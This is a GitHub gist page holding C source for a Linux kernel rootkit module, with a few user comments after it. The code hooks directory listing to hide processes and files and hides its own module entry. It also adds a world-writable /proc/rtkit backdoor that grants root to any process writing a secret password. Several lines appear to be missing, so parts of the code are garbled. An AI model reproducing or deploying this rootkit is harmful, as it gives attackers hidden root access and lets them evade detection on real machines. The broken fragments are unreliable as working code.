Create a gist now

Instantly share code, notes, and snippets.

@ivyl /rt.c
Created Oct 27, 2012

What would you like to do?
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h>
//typesafe macro for getting minimum value
#define MIN(a,b) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; })
//how much pids we want to hide
#define MAX_PIDS 50
MODULE_AUTHOR("Arkadiusz Hiler<>");
MODULE_AUTHOR("Michal Winiarski<>");
//we don't want to have it visible in kallsyms and have access to it all the time
//so it's static
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit;
//here we store original version of readdirs functions
static int (*proc_readdir_orig)(struct file *, void *, filldir_t);
static int (*fs_readdir_orig)(struct file *, void *, filldir_t);
//here we store original versions of filldir functions
static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig;
static struct file_operations *proc_fops;
static struct file_operations *fs_fops;
//to store kobject list places, used for revealing presence
static struct list_head *module_previous;
static struct list_head *module_kobj_previous;
//array used for hiding pids and it's position
static char pids_to_hide[MAX_PIDS][8];
static int current_pid = 0;
//some switches
static char hide_files = 1;
static char module_hidden = 0;
//place for printable status
static char module_status[1024];
void module_hide(void) {
if (module_hidden) return;
//remove from modules list
module_previous = THIS_MODULE->list.prev;
//remove kobjects and store just in case
module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
module_hidden = !module_hidden;
void module_show(void) {
int result;
if (!module_hidden) return;
//readding module
list_add(&THIS_MODULE->list, module_previous);
//restoring kobject to it's original place
result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt");
module_hidden = !module_hidden;
static void set_addr_rw(void *addr) {
unsigned int level;
//get page in which given addres resides
pte_t *pte = lookup_address((unsigned long) addr, &level);
//set page RW
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
static void set_addr_ro(void *addr) {
//as above but unset
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
//new methods which wraps originals
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset,
u64 ino, unsigned d_type) {
int i;
for (i=0; i < current_pid; i++) {
//if matches any hidden pid don't show
if (!strcmp(name, pids_to_hide[i])) return 0;
//hide also our own entry
if (!strcmp(name, "rtkit")) return 0;
//invoke original
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) {
proc_filldir_orig = filldir; //stor original filldir
return proc_readdir_orig(filp, dirent, proc_filldir_new); //pass our wrapper
static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino,
unsigned d_type) {
//hide if matches
if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0;
return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); //invoking original version
static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) {
//analogus to proc version
fs_filldir_orig = filldir;
return fs_readdir_orig(filp, dirent, fs_filldir_new);
//function used when reading /proc/rtkit
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count,
int *eof, void *data) {
int size;
//generate nice output
hides files prefixed with __rt or 10-__rt and gives root\n\
mypenislong - uid and gid 0 for writing process\n\
hpXXXX - hides proc with id XXXX\n\
up - unhides last process\n\
thf - toogles file hiding\n\
mh - module hide\n\
ms - module show\n\
fshide: %d\n\
pids_hidden: %d\n\
module_hidden: %d\n", hide_files, current_pid, module_hidden);
size = strlen(module_status);
//handling pagers, output is quite small, but who know
//just start at given offset
if (off >= size) return 0; //exceeds? nothing to return
if (count >= size-off) {
memcpy(buffer, module_status+off, size-off);
} else {
memcpy(buffer, module_status+off, count);
return size-off;
//this is invoked when someone writes to /proc/rtkit
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) {
//just compares input to secret words, uses strncmp in safe maner
//my pen is long is the secret passwort to get root
if (!strncmp(buff, "mypenislong", MIN(11, count))) { //changes to root
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
} else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
} else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
if (current_pid > 0) current_pid--;
} else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
hide_files = !hide_files;
} else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
} else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
return count;
//those null checks are for sanity
//if something failed than nothing is done
static void procfs_clean(void) {
if (proc_rtkit != NULL) {
remove_proc_entry("rtkit", NULL);
proc_rtkit = NULL;
if (proc_fops != NULL && proc_readdir_orig != NULL) {
//restore original reddir
proc_fops->readdir = proc_readdir_orig;
static void fs_clean(void) {
if (fs_fops != NULL && fs_readdir_orig != NULL) {
//restore original reddir
fs_fops->readdir = fs_readdir_orig;
static int __init procfs_init(void) {
//new entry in proc root with 666 rights
proc_rtkit = create_proc_entry("rtkit", 0666, NULL);
if (proc_rtkit == NULL) return 0;
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
return 0;
proc_rtkit->read_proc = rtkit_read;
proc_rtkit->write_proc = rtkit_write;
//substitute proc readdir to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_readdir_orig = proc_fops->readdir;
proc_fops->readdir = proc_readdir_new;
return 1;
static int __init fs_init(void) {
struct file *etc_filp;
//get file_operations of /etc
etc_filp = filp_open("/etc", O_RDONLY, 0);
if (etc_filp == NULL) return 0;
fs_fops = (struct file_operations *) etc_filp->f_op;
filp_close(etc_filp, NULL);
//substitute readdir of fs on which /etc is
fs_readdir_orig = fs_fops->readdir;
fs_fops->readdir = fs_readdir_new;
return 1;
static int __init rootkit_init(void) {
if (!procfs_init() || !fs_init()) {
return 1;
return 0;
static void __exit rootkit_exit(void) {

isafe commented Jun 9, 2014

Hello,I have some question want to ask you ,can you help me?

Stolas commented Jun 9, 2014

It is quite easy to detect this rootkit. However this is a nice job for less then 300 LOC.
Also the commands for letting the rootkit do things, come-on..

Line 73 is apparently not enough to unhide the module from /sys/modules. The following error is coming up:
libkmod: ERROR ../libkmod/libkmod-module.c:1802 kmod_module_get_holders: could not open '/sys/module/rt/holders': No such file or directory
Do you know how this can be fixed?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment